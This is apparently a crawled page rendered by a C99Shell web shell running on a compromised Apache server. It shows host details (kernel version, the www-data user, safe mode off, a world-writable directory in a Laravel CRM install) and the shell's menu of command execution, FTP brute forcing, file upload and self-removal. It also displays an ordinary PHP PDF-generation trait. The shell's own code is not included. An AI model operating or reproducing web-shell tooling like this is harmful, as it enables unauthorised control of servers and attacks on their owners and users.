!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Core/src/Traits/   drwxrwxrwx
Free 13.19 GB of 57.97 GB (22.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PDFHandler.php (1.7 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Core\Traits;

use 
Barryvdh\DomPDF\Facade\Pdf;
use 
Illuminate\Support\Str;
use 
Mpdf\Mpdf;

trait 
PDFHandler
{
    
/**
     * Download PDF.
     *
     * @return \Illuminate\Http\Response
     */
    
protected function downloadPDF(string $html, ?string $fileName null)
    {
        if (
is_null($fileName)) {
            
$fileName Str::random(32);
        }

        
$html mb_convert_encoding($html'HTML-ENTITIES''UTF-8');

        if (
in_array($direction app()->getLocale(), ['ar''he'])) {
            
$mPDF = new Mpdf([
                
'margin_left'  => 0,
                
'margin_right' => 0,
                
'margin_top'   => 0,
                
'margin_bottom'=> 0,
            ]);

            
$mPDF->SetDirectionality($direction);

            
$mPDF->SetDisplayMode('fullpage');

            
$mPDF->WriteHTML($this->adjustArabicAndPersianContent($html));

            return 
response()->streamDownload(fn () => print ($mPDF->Output('''S')), $fileName.'.pdf');
        }

        return 
PDF::loadHTML($this->adjustArabicAndPersianContent($html))
            ->
setPaper('A4''portrait')
            ->
set_option('defaultFont''Courier')
            ->
download($fileName.'.pdf');
    }

    
/**
     * Adjust arabic and persian content.
     *
     * @return string
     */
    
protected function adjustArabicAndPersianContent(string $html)
    {
        
$arabic = new \ArPHP\I18N\Arabic;

        
$p $arabic->arIdentify($html);

        for (
$i count($p) - 1$i >= 0$i -= 2) {
            
$utf8ar $arabic->utf8Glyphs(substr($html$p[$i 1], $p[$i] - $p[$i 1]));
            
$html substr_replace($html$utf8ar$p[$i 1], $p[$i] - $p[$i 1]);
        }

        return 
$html;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--